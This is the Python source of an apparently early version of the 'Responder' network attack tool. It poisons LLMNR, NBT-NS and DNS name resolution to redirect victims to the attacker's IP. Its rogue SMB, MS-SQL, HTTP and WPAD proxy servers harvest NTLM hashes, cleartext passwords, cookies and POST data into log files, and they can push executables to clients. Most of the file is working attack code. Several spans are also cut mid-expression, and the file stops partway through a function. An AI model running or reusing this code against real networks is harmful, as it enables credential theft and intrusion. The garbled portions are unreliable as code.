#! /usr/bin/env python # NBT-NS/LLMNR Responder # Created by Laurent Gaffie # Copyright (C) 2014 Trustwave Holdings, Inc. # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . import sys,struct,SocketServer,re,optparse,socket,thread,Fingerprint,random,os,ConfigParser from SocketServer import TCPServer, UDPServer, ThreadingMixIn, StreamRequestHandler, BaseRequestHandler,BaseServer from Fingerprint import RunSmbFinger,OsNameClientVersion from odict import OrderedDict from socket import inet_aton from random import randrange parser = optparse.OptionParser(usage='python %prog -i 10.20.30.40 -b On -r On', prog=sys.argv[0], ) parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP") parser.add_option('-I','--interface', action="store", help="Network interface to use", metavar="eth0", dest="INTERFACE", default="Not set") parser.add_option('-b', '--basic',action="store", help="Set this to On if you want to return a Basic HTTP authentication. Off will return an NTLM authentication.This option is mandatory.", metavar="Off",dest="Basic", choices=['On','on','off','Off'], default="Off") parser.add_option('-r', '--wredir',action="store", help="Set this to enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network (like classics 'nbns spoofer' will). Default value is therefore set to Off", metavar="Off",dest="Wredirect", choices=['On','on','off','Off'], default="Off") parser.add_option('-f','--fingerprint', action="store", dest="Finger", help = "This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query.", metavar="Off", choices=['On','on','off','Off'], default="Off") parser.add_option('-w','--wpad', action="store", dest="WPAD_On_Off", help = "Set this to On or Off to start/stop the WPAD rogue proxy server. Default value is Off", metavar="Off", choices=['On','on','off','Off'], default="Off") parser.add_option('--lm',action="store", help="Set this to On if you want to force LM hashing downgrade for Windows XP/2003 and earlier. Default value is Off", metavar="Off",dest="LM_On_Off", choices=['On','on','off','Off'], default="Off") parser.add_option('-v',action="store_true", help="More verbose",dest="Verbose") options, args = parser.parse_args() if options.OURIP is None: print "-i mandatory option is missing\n" parser.print_help() exit(-1) ResponderPATH = os.path.dirname(__file__) #Config parsing config = ConfigParser.ConfigParser() config.read(os.path.join(ResponderPATH,'Responder.conf')) # Set some vars. On_Off = config.get('Responder Core', 'HTTP').upper() SSL_On_Off = config.get('Responder Core', 'HTTPS').upper() SMB_On_Off = config.get('Responder Core', 'SMB').upper() SQL_On_Off = config.get('Responder Core', 'SQL').upper() FTP_On_Off = config.get('Responder Core', 'FTP').upper() POP_On_Off = config.get('Responder Core', 'POP').upper() IMAP_On_Off = config.get('Responder Core', 'IMAP').upper() SMTP_On_Off = config.get('Responder Core', 'SMTP').upper() LDAP_On_Off = config.get('Responder Core', 'LDAP').upper() DNS_On_Off = config.get('Responder Core', 'DNS').upper() NumChal = config.get('Responder Core', 'Challenge') SessionLog = config.get('Responder Core', 'SessionLog') Exe_On_Off = config.get('HTTP Server', 'Serve-Exe').upper() Exec_Mode_On_Off = config.get('HTTP Server', 'Serve-Always').upper() FILENAME = config.get('HTTP Server', 'Filename') WPAD_Script = config.get('HTTP Server', 'WPADScript') RespondTo = config.get('Responder Core', 'RespondTo').strip() RespondTo.split(",") #Cli options. OURIP = options.OURIP LM_On_Off = options.LM_On_Off.upper() WPAD_On_Off = options.WPAD_On_Off.upper() Wredirect = options.Wredirect.upper() Basic = options.Basic.upper() Finger_On_Off = options.Finger.upper() INTERFACE = options.INTERFACE Verbose = options.Verbose if INTERFACE != "Not set": BIND_TO_Interface = INTERFACE if INTERFACE == "Not set": BIND_TO_Interface = "ALL" if len(NumChal) is not 16: print "The challenge must be exactly 16 chars long.\nExample: -c 1122334455667788\n" parser.print_help() exit(-1) def IsOsX(): Os_version = sys.platform if Os_version == "darwin": return True else: return False def OsInterfaceIsSupported(INTERFACE): if INTERFACE != "Not set": if IsOsX(): return False else: return True if INTERFACE == "Not set": return False #Logger import logging logging.basicConfig(filename=str(os.path.join(ResponderPATH,SessionLog)),level=logging.INFO,format='%(asctime)s %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p') logging.warning('Responder Started') Log2Filename = str(os.path.join(ResponderPATH,"LLMNR-NBT-NS.log")) logger2 = logging.getLogger('LLMNR/NBT-NS') logger2.addHandler(logging.FileHandler(Log2Filename,'w')) def Show_Help(ExtraHelpData): help = "NBT Name Service/LLMNR Responder 2.0.\nPlease send bugs/comments to: lgaffie@trustwave.com\nTo kill this script hit CRTL-C\n\n" help+= ExtraHelpData print help #Function used to write captured hashs to a file. def WriteData(outfile,data, user): if os.path.isfile(outfile) == False: with open(outfile,"w") as outf: outf.write(data) outf.write("\n") outf.close() if os.path.isfile(outfile) == True: with open(outfile,"r") as filestr: if re.search(user.encode('hex'), filestr.read().encode('hex')): filestr.close() return False if re.search("\$", user): filestr.close() return False else: with open(outfile,"a") as outf2: outf2.write(data) outf2.write("\n") outf2.close() def PrintData(outfile,user): if Verbose == True: return True if os.path.isfile(outfile) == True: with open(outfile,"r") as filestr: if re.search(user.encode('hex'), filestr.read().encode('hex')): filestr.close() return False if re.search("\$", user): filestr.close() return False else: return True else: return True def PrintLLMNRNBTNS(outfile,Message): if Verbose == True: return True if os.path.isfile(outfile) == True: with open(outfile,"r") as filestr: if re.search(Message, filestr.read()): filestr.close() return False else: return True else: return True # Break out challenge for the hexidecimally challenged. Also, avoid 2 different challenges by accident. Challenge = "" for i in range(0,len(NumChal),2): Challenge += NumChal[i:i+2].decode("hex") Show_Help("[+]NBT-NS & LLMNR responder started\n[+]Loading Responder.conf File..\nGlobal Parameters set:\nResponder is bound to this interface:%s\nChallenge set is:%s\nWPAD Proxy Server is:%s\nWPAD script loaded:%s\nHTTP Server is:%s\nHTTPS Server is:%s\nSMB Server is:%s\nSMB LM support is set to:%s\nSQL Server is:%s\nFTP Server is:%s\nIMAP Server is:%s\nPOP3 Server is:%s\nSMTP Server is:%s\nDNS Server is:%s\nLDAP Server is:%s\nFingerPrint Module is:%s\nServing Executable via HTTP&WPAD is:%s\nAlways Serving a Specific File via HTTP&WPAD is:%s\n\n"%(BIND_TO_Interface, NumChal,WPAD_On_Off,WPAD_Script,On_Off,SSL_On_Off,SMB_On_Off,LM_On_Off,SQL_On_Off,FTP_On_Off,IMAP_On_Off,POP_On_Off,SMTP_On_Off,DNS_On_Off,LDAP_On_Off,Finger_On_Off,Exe_On_Off,Exec_Mode_On_Off)) #Simple NBNS Services. W_REDIRECT = "\x41\x41\x00" FILE_SERVER = "\x43\x41\x00" #Packet class handling all packet generation (see odict.py). class Packet(): fields = OrderedDict([ ("data", ""), ]) def __init__(self, **kw): self.fields = OrderedDict(self.__class__.fields) for k,v in kw.items(): if callable(v): self.fields[k] = v(self.fields[k]) else: self.fields[k] = v def __str__(self): return "".join(map(str, self.fields.values())) #Function name self-explanatory def Is_Finger_On(Finger_On_Off): if Finger_On_Off == "ON": return True if Finger_On_Off == "OFF": return False def RespondToSpecificHost(RespondTo): if len(RespondTo)>=1 and RespondTo != ['']: return True else: return False def RespondToIPScope(RespondTo, ClientIp): if ClientIp in RespondTo: return True else: return False ################################################################################## #NBT NS Stuff ################################################################################## #NBT-NS answer packet. class NBT_Ans(Packet): fields = OrderedDict([ ("Tid", ""), ("Flags", "\x85\x00"), ("Question", "\x00\x00"), ("AnswerRRS", "\x00\x01"), ("AuthorityRRS", "\x00\x00"), ("AdditionalRRS", "\x00\x00"), ("NbtName", ""), ("Type", "\x00\x20"), ("Classy", "\x00\x01"), ("TTL", "\x00\x00\x00\xa5"), ("Len", "\x00\x06"), ("Flags1", "\x00\x00"), ("IP", "\x00\x00\x00\x00"), ]) def calculate(self,data): self.fields["Tid"] = data[0:2] self.fields["NbtName"] = data[12:46] self.fields["IP"] = inet_aton(OURIP) # Define what are we answering to. def Validate_NBT_NS(data,Wredirect): if FILE_SERVER == data[43:46]: return True if Wredirect == "ON": if W_REDIRECT == data[43:46]: return True else: return False def Decode_Name(nbname): #From http://code.google.com/p/dpkt/ with author's permission. try: if len(nbname) != 32: return nbname l = [] for i in range(0, 32, 2): l.append(chr(((ord(nbname[i]) - 0x41) << 4) | ((ord(nbname[i+1]) - 0x41) & 0xf))) return ''.join(l).split('\x00', 1)[0].strip() except: return "Illegal NetBIOS name" # NBT_NS Server class. class NB(BaseRequestHandler): def handle(self): request, socket = self.request data = request Name = Decode_Name(data[13:45]) if RespondToSpecificHost(RespondTo): if RespondToIPScope(RespondTo, self.client_address[0]): if data[2:4] == "\x01\x10": if Validate_NBT_NS(data,Wredirect): buff = NBT_Ans() buff.calculate(data) for x in range(1): socket.sendto(str(buff), self.client_address) Message = 'NBT-NS Answer sent to: %s. The requested name was : %s.'%(self.client_address[0], Name) logging.warning(Message) if PrintLLMNRNBTNS(Log2Filename,Message): print Message logger2.warning(Message) if Is_Finger_On(Finger_On_Off): try: Finger = RunSmbFinger((self.client_address[0],445)) logging.warning('[+] OsVersion is:%s'%(Finger[0])) logging.warning('[+] ClientVersion is :%s'%(Finger[1])) except Exception: logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) pass else: pass else: if data[2:4] == "\x01\x10": if Validate_NBT_NS(data,Wredirect): buff = NBT_Ans() buff.calculate(data) for x in range(1): socket.sendto(str(buff), self.client_address) Message = 'NBT-NS Answer sent to: %s. The requested name was : %s.'%(self.client_address[0], Name) logging.warning(Message) if PrintLLMNRNBTNS(Log2Filename,Message): print Message logger2.warning(Message) if Is_Finger_On(Finger_On_Off): try: Finger = RunSmbFinger((self.client_address[0],445)) logging.warning('[+] OsVersion is:%s'%(Finger[0])) logging.warning('[+] ClientVersion is :%s'%(Finger[1])) except Exception: logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) pass ################################################################################## #Browser Listener ################################################################################## def FindPDC(data,Client): DataOffset = struct.unpack(' 220: SSPIStart = data[79:] LMhashLen = struct.unpack(' 220: SSPIStart = data[79:] LMhashLen = struct.unpack(' 60: outfile = os.path.join(ResponderPATH,"SMB-NTLMv2-Client-"+client+".txt") NtHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper() DomainLen = struct.unpack(' 25: Hash = data[65+LMhashLen:65+LMhashLen+NthashLen] logging.warning('[+]SMB-NTLMv2 hash captured from :%s'%(client)) outfile = os.path.join(ResponderPATH,"SMB-NTLMv2-Client-"+client+".txt") pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2] var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]] Username, Domain = tuple(var) Writehash = Username+"::"+Domain+":"+NumChal+":"+Hash.encode('hex')[:32].upper()+":"+Hash.encode('hex')[32:].upper() if PrintData(outfile,Username+"::"+Domain): print "[+]SMB-NTLMv2 hash captured from :",client print "[+]SMB-NTLMv2 complete hash is :",Writehash ParseShare(data) WriteData(outfile,Writehash, Username+"::"+Domain) logging.warning('[+]SMB-NTLMv2 complete hash is :%s'%(Writehash)) if NthashLen == 24: logging.warning('[+]SMB-NTLMv1 hash captured from :%s'%(client)) outfile = os.path.join(ResponderPATH,"SMB-NTLMv1-Client-"+client+".txt") pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2] var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]] Username, Domain = tuple(var) writehash = Username+"::"+Domain+":"+data[65:65+LMhashLen].encode('hex').upper()+":"+data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()+":"+NumChal if PrintData(outfile,Username+"::"+Domain): print "[+]SMB-NTLMv1 hash captured from : ",client print "[+]SMB complete hash is :", writehash ParseShare(data) WriteData(outfile,writehash, Username+"::"+Domain) logging.warning('[+]SMB-NTLMv1 complete hash is :%s'%(writehash)) logging.warning('[+]SMB-NTLMv1 Username:%s'%(Username)) logging.warning('[+]SMB-NTLMv1 Domain (if joined, if not then computer name) :%s'%(Domain)) except Exception: raise def IsNT4ClearTxt(data): HeadLen = 36 Flag2 = data[14:16] if Flag2 == "\x03\x80": SmbData = data[HeadLen+14:] WordCount = data[HeadLen] ChainedCmdOffset = data[HeadLen+1] if ChainedCmdOffset == "\x75": PassLen = struct.unpack(' 2: Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","") User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","") print "[SMB]Clear Text Credentials: %s:%s" %(User,Password) logging.warning("[SMB]Clear Text Credentials: %s:%s"%(User,Password)) #SMB Server class, NTLMSSP class SMB1(BaseRequestHandler): def handle(self): try: while True: data = self.request.recv(1024) self.request.settimeout(1) ##session request 139 if data[0] == "\x81": buffer0 = "\x82\x00\x00\x00" self.request.send(buffer0) data = self.request.recv(1024) ##Negotiate proto answer. if data[8:10] == "\x72\x00": # Customize SMB answer. head = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data)) t = SMBNegoAns(Dialect=Parse_Nego_Dialect(data)) t.calculate() final = t packet0 = str(head)+str(final) buffer0 = longueur(packet0)+packet0 self.request.send(buffer0) data = self.request.recv(1024) ##Session Setup AndX Request if data[8:10] == "\x73\x00": IsNT4ClearTxt(data) head = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data)) t = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge) t.calculate() final = t packet1 = str(head)+str(final) buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) data = self.request.recv(4096) if data[8:10] == "\x73\x00": if Is_Anonymous(data): head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins. final = SMBSessEmpty() packet1 = str(head)+str(final) buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) else: ParseSMBHash(data,self.client_address[0]) head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) final = SMBSession2Accept() final.calculate() packet2 = str(head)+str(final) buffer2 = longueur(packet2)+packet2 self.request.send(buffer2) data = self.request.recv(1024) ##Tree Connect IPC Answer if data[8:10] == "\x75\x00": ParseShare(data) head = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data)) t = SMBTreeData() t.calculate() final = t packet1 = str(head)+str(final) buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) data = self.request.recv(1024) ##Tree Disconnect. if data[8:10] == "\x71\x00": head = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) final = "\x00\x00\x00" packet1 = str(head)+str(final) buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) data = self.request.recv(1024) ##NT_CREATE Access Denied. if data[8:10] == "\xa2\x00": head = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) final = "\x00\x00\x00" packet1 = str(head)+str(final) buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) data = self.request.recv(1024) ##Trans2 Access Denied. if data[8:10] == "\x25\x00": head = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) final = "\x00\x00\x00" packet1 = str(head)+str(final) buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) data = self.request.recv(1024) ##LogOff. if data[8:10] == "\x74\x00": head = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) final = "\x02\xff\x00\x27\x00\x00\x00" packet1 = str(head)+str(final) buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) data = self.request.recv(1024) except Exception: pass #no need to print errors.. #SMB Server class, old version. class SMB1LM(BaseRequestHandler): def handle(self): try: self.request.settimeout(0.5) data = self.request.recv(1024) ##session request 139 if data[0] == "\x81": buffer0 = "\x82\x00\x00\x00" self.request.send(buffer0) data = self.request.recv(1024) ##Negotiate proto answer. if data[8:10] == "\x72\x00": head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data)) t = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=Challenge) t.calculate() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) data = self.request.recv(1024) ##Session Setup AndX Request if data[8:10] == "\x73\x00": if Is_LMNT_Anonymous(data): head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) packet1 = str(head)+str(SMBSessEmpty()) buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) else: ParseLMNTHash(data,self.client_address[0]) head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) packet1 = str(head)+str(SMBSessEmpty()) buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) data = self.request.recv(1024) except Exception: pass #no need to print errors.. self.request.close() ################################################################################## #SQL Stuff ################################################################################## from SQLPackets import * #This function parse SQL NTLMv1/v2 hash and dump it into a specific file. def ParseSQLHash(data,client): SSPIStart = data[8:] LMhashLen = struct.unpack(' 60: DomainLen = struct.unpack('H',Data[2:4])[0] EncryptionValue = Data[PacketLen-7:PacketLen-6] if re.search("NTLMSSP",Data): return True else: return False #MS-SQL server class. class MSSQL(BaseRequestHandler): def handle(self): try: while True: data = self.request.recv(1024) self.request.settimeout(0.1) ##Pre-Login Message if data[0] == "\x12": buffer0 = str(MSSQLPreLoginAnswer()) self.request.send(buffer0) data = self.request.recv(1024) ##NegoSSP if data[0] == "\x10": if re.search("NTLMSSP",data): t = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge) t.calculate() buffer1 = str(t) self.request.send(buffer1) data = self.request.recv(1024) else: ParseClearTextSQLPass(data,self.client_address[0]) ##NegoSSP Auth if data[0] == "\x11": ParseSQLHash(data,self.client_address[0]) except Exception: pass self.request.close() ################################################################################## #LLMNR Stuff ################################################################################## #LLMNR Answer packet. class LLMNRAns(Packet): fields = OrderedDict([ ("Tid", ""), ("Flags", "\x80\x00"), ("Question", "\x00\x01"), ("AnswerRRS", "\x00\x01"), ("AuthorityRRS", "\x00\x00"), ("AdditionalRRS", "\x00\x00"), ("QuestionNameLen", "\x09"), ("QuestionName", ""), ("QuestionNameNull", "\x00"), ("Type", "\x00\x01"), ("Class", "\x00\x01"), ("AnswerNameLen", "\x09"), ("AnswerName", ""), ("AnswerNameNull", "\x00"), ("Type1", "\x00\x01"), ("Class1", "\x00\x01"), ("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec. ("IPLen", "\x00\x04"), ("IP", "\x00\x00\x00\x00"), ]) def calculate(self): self.fields["IP"] = inet_aton(OURIP) self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) self.fields["AnswerNameLen"] = struct.pack(">h",len(self.fields["AnswerName"]))[1] self.fields["QuestionNameLen"] = struct.pack(">h",len(self.fields["QuestionName"]))[1] def Parse_LLMNR_Name(data,addr): NameLen = struct.unpack('>B',data[12])[0] Name = data[13:13+NameLen] return Name def Parse_IPV6_Addr(data): Len = len(data) if data[Len-4:Len][1] =="\x1c": return False else: return True def FindLocalIP(Iface): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.setsockopt(socket.SOL_SOCKET, 25, Iface+'\0') s.connect(("127.0.0.1",9))#RFC 863 return s.getsockname()[0] def RunLLMNR(): try: ALL = '0.0.0.0' MADDR = "224.0.0.252" MPORT = 5355 s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) if IsOsX(): print "OsX Bind to interface is not supported..Listening on all interfaces." if OsInterfaceIsSupported(INTERFACE): try: IP = FindLocalIP(BIND_TO_Interface) s.setsockopt(socket.SOL_SOCKET, 25, BIND_TO_Interface+'\0') s.bind((ALL,MPORT)) s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) s.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255) Join = s.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,inet_aton(MADDR)+inet_aton(IP)) except: print "Non existant network interface provided in Responder.conf, please provide a valid interface." sys.exit(1) else: s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) s.bind((ALL,MPORT)) s.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255) Join = s.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,inet_aton(MADDR)+inet_aton(ALL)) except: raise while True: try: data, addr = s.recvfrom(1024) if RespondToSpecificHost(RespondTo): if RespondToIPScope(RespondTo, addr[0]): if data[2:4] == "\x00\x00": if Parse_IPV6_Addr(data): Name = Parse_LLMNR_Name(data,addr) buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) buff.calculate() for x in range(1): s.sendto(str(buff), addr) Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(addr[0],Name) logging.warning(Message) if PrintLLMNRNBTNS(Log2Filename,Message): print Message logger2.warning(Message) if Is_Finger_On(Finger_On_Off): try: Finger = RunSmbFinger((addr[0],445)) logging.warning('[+] OsVersion is:%s'%(Finger[0])) logging.warning('[+] ClientVersion is :%s'%(Finger[1])) except Exception: logging.warning('[+] Fingerprint failed for host: %s'%(addr[0])) pass else: if data[2:4] == "\x00\x00": if Parse_IPV6_Addr(data): Name = Parse_LLMNR_Name(data,addr) buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) buff.calculate() Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(addr[0],Name) for x in range(1): s.sendto(str(buff), addr) if PrintLLMNRNBTNS(Log2Filename,Message): print Message logger2.warning(Message) if Is_Finger_On(Finger_On_Off): try: Finger = RunSmbFinger((addr[0],445)) logging.warning('[+] OsVersion is:%s'%(Finger[0])) logging.warning('[+] ClientVersion is :%s'%(Finger[1])) except Exception: logging.warning('[+] Fingerprint failed for host: %s'%(addr[0])) pass except: raise ################################################################################## #DNS Stuff ################################################################################## def ParseDNSType(data): QueryTypeClass = data[len(data)-4:] if QueryTypeClass == "\x00\x01\x00\x01":#If Type A, Class IN, then answer. return True else: return False #DNS Answer packet. class DNSAns(Packet): fields = OrderedDict([ ("Tid", ""), ("Flags", "\x80\x10"), ("Question", "\x00\x01"), ("AnswerRRS", "\x00\x01"), ("AuthorityRRS", "\x00\x00"), ("AdditionalRRS", "\x00\x00"), ("QuestionName", ""), ("QuestionNameNull", "\x00"), ("Type", "\x00\x01"), ("Class", "\x00\x01"), ("AnswerPointer", "\xc0\x0c"), ("Type1", "\x00\x01"), ("Class1", "\x00\x01"), ("TTL", "\x00\x00\x00\x1e"), #30 secs, dont mess with their cache for too long.. ("IPLen", "\x00\x04"), ("IP", "\x00\x00\x00\x00"), ]) def calculate(self,data): self.fields["Tid"] = data[0:2] self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1]) self.fields["IP"] = inet_aton(OURIP) self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) # DNS Server class. class DNS(BaseRequestHandler): def handle(self): req, soc = self.request data = req if self.client_address[0] == "127.0.0.1": pass elif ParseDNSType(data): buff = DNSAns() buff.calculate(data) soc.sendto(str(buff), self.client_address) print "DNS Answer sent to: %s "%(self.client_address[0]) logging.warning('DNS Answer sent to: %s'%(self.client_address[0])) class DNSTCP(BaseRequestHandler): def handle(self): try: data = self.request.recv(1024) if self.client_address[0] == "127.0.0.1": pass elif ParseDNSType(data): buff = DNSAns() buff.calculate(data) self.request.send(str(buff)) print "DNS Answer sent to: %s "%(self.client_address[0]) logging.warning('DNS Answer sent to: %s'%(self.client_address[0])) except Exception: pass ################################################################################## #HTTP Stuff ################################################################################## from HTTPPackets import * from HTTPProxy import * #Parse NTLMv1/v2 hash. def ParseHTTPHash(data,client): LMhashLen = struct.unpack(' 24: NthashLen = 64 DomainLen = struct.unpack('2: PostData = '[+]The HTTP POST DATA in this request was: %s'%(''.join(POSTDATA).strip()) print PostData logging.warning(PostData) #Handle HTTP packet sequence. def PacketSequence(data,client): a = re.findall('(?<=Authorization: NTLM )[^\\r]*', data) b = re.findall('(?<=Authorization: Basic )[^\\r]*', data) if ServeEXEOrNot(Exe_On_Off) and re.findall('.exe', data): File = config.get('HTTP Server', 'ExecFilename') buffer1 = ServerExeFile(Payload = ServeEXE(data,client,File),filename=File) buffer1.calculate() return str(buffer1) if ServeEXECAlwaysOrNot(Exec_Mode_On_Off): if IsExecutable(FILENAME): buffer1 = ServeAlwaysExeFile(Payload = ServeEXE(data,client,FILENAME),ContentDiFile=FILENAME) buffer1.calculate() return str(buffer1) else: buffer1 = ServeAlwaysNormalFile(Payload = ServeEXE(data,client,FILENAME)) buffer1.calculate() return str(buffer1) if a: packetNtlm = b64decode(''.join(a))[8:9] if packetNtlm == "\x01": GrabURL(data,client) GrabCookie(data,client) r = NTLM_Challenge(ServerChallenge=Challenge) r.calculate() t = IIS_NTLM_Challenge_Ans() t.calculate(str(r)) buffer1 = str(t) return buffer1 if packetNtlm == "\x03": NTLM_Auth= b64decode(''.join(a)) ParseHTTPHash(NTLM_Auth,client) if re.search('(/wpad.dat|/*\.pac)', data): buffer1 = WPADScript(Payload=WPAD_Script) #Fix login prompt for wpad. buffer1.calculate() return str(buffer1) else: buffer1 = IIS_Auth_Granted(Payload=config.get('HTTP Server','HTMLToServe')) buffer1.calculate() return str(buffer1) if b: GrabCookie(data,client) GrabURL(data,client) outfile = os.path.join(ResponderPATH,"HTTP-Clear-Text-Password-"+client+".txt") if PrintData(outfile,b64decode(''.join(b))): print "[+]HTTP-User & Password:", b64decode(''.join(b)) WriteData(outfile,b64decode(''.join(b)), b64decode(''.join(b))) logging.warning('[+]HTTP-User & Password: %s'%(b64decode(''.join(b)))) buffer1 = IIS_Auth_Granted(Payload=config.get('HTTP Server','HTMLToServe')) buffer1.calculate() return str(buffer1) else: return str(Basic_Ntlm(Basic)) #HTTP Server Class class HTTP(BaseRequestHandler): def handle(self): try: while True: self.request.settimeout(0.1) data = self.request.recv(8092) buff = WpadCustom(data,self.client_address[0]) if buff: self.request.send(buff) else: buffer0 = PacketSequence(data,self.client_address[0]) self.request.sendall(buffer0) except Exception: pass#No need to be verbose.. self.request.close() ################################################################################## #HTTP Proxy Stuff ################################################################################## def GrabHost(data,host): GET = re.findall('(?<=GET )[^HTTP]*', data) CONNECT = re.findall('(?<=CONNECT )[^HTTP]*', data) POST = re.findall('(?<=POST )[^HTTP]*', data) POSTDATA = re.findall('(?<=\r\n\r\n)[^*]*', data) if GET: HostStr = "[+]HTTP Proxy sent from: %s The requested URL was: %s"%(host,''.join(GET)) logging.warning(HostStr) if Verbose: print HostStr return ''.join(GET),None if CONNECT: Host2Str = "[+]HTTP Proxy sent from: %s The requested URL was: %s"%(host,''.join(CONNECT)) logging.warning(Host2Str) if Verbose: print Host2Str return ''.join(CONNECT), None if POST: Host3Str = "[+]HTTP Proxy sent from: %s The requested URL was: %s"%(host,''.join(POST)) logging.warning(Host3Str) if Verbose: print Host3Str if len(''.join(POSTDATA)) >2: PostData = '[+]The HTTP POST DATA in this request was: %s'%(''.join(POSTDATA)) if Verbose: print PostData logging.warning(PostData) return ''.join(POST), ''.join(POSTDATA) else: NoHost = "[+]No host url sent with this request" logging.warning(NoHost) return "NO HOST", None def ProxyBasic_Ntlm(Basic): if Basic == "ON": return IIS_Basic_407_Ans() if Basic == "OFF": return IIS_Auth_407_Ans() def ParseDomain(data,client): Host,PostData = GrabHost(data,client) Cookie = GrabCookie(data,client) Message = "Requested URL: %s\nComplete Cookie: %s\nClient IP is: %s\nPOST DATA: %s"%(Host, Cookie, client,PostData) DomainName = re.search('^(.*:)//([a-z\-.]+)(:[0-9]+)?(.*)$', Host) if DomainName: OutFile = os.path.join(ResponderPATH,"HTTPCookies/HTTP-Cookie-"+DomainName.group(2)+"-"+client+".txt") WriteData(OutFile,Message, Message) else: OutFile = os.path.join(ResponderPATH,"HTTPCookies/HTTP-Cookie-"+Host.replace('/','')+"-"+client+".txt") WriteData(OutFile,Message, Message) #Handle HTTP packet sequence. def ProxyPacketSequence(data,client): a = re.findall('(?<=Proxy-Authorization: NTLM )[^\\r]*', data) b = re.findall('(?<=Authorization: Basic )[^\\r]*', data) if ServeEXEOrNot(Exe_On_Off) and re.findall('.exe', data): File = config.get('HTTP Server', 'ExecFilename') buffer1 = ServerExeFile(Payload = ServeEXE(data,client,File),filename=File) buffer1.calculate() return str(buffer1) if 